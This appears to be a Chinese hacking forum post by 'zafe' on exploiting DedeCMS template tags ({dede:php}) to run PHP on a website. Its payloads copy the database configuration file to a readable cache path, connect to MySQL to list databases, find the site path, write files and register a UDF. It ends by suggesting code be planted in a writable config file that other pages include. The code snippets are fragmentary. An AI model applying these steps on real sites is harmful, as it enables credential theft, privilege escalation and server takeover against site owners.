By:zafe
遇到可写不可执行的,可执行不可写的站的也许用的上
{dede:php}copy('../data/common.inc.php','../data/cache/test.txt');{/dede:php} |
然后去xxx.com/data/cache/test.txt看数据库信息,如果是root那就happy吧
如果是普通用户,首先看下有哪些数据库:
//自行把{dede:php}{/dede:php}之间的内容替换成下面的,结果都是到data/cache/test.txt去看 |
$xdb = mysql_connect("localhost","user","password");//你获取到的数据库信息 |
列表:
$xdb = mysql_connect("localhost","user","password");//你获取到的数据库信息 |
获取其他数据库信息,自己更改mysql_query()和$row[]就行了
获取网站路径:
$fp = fopen("dede/data/cache/test.txt", 'a'); |
如果有数据库对web目录有权限写:
$xdb = mysql_connect("localhost","user","password");//你获取到的数据库信息 |
注册udf:
$xdb = mysql_connect("localhost","user","password"); |
补充:
data/cache/test.txt 不是可写了吗,一般数据库配置文件都可以写的。
一般数据库配置文件权限都是设置可写不可执行,至少目前没碰到不可写的,然后很多文件都调用数据库配置文件,比如:plus/heightsearch.php 然后带上你的家伙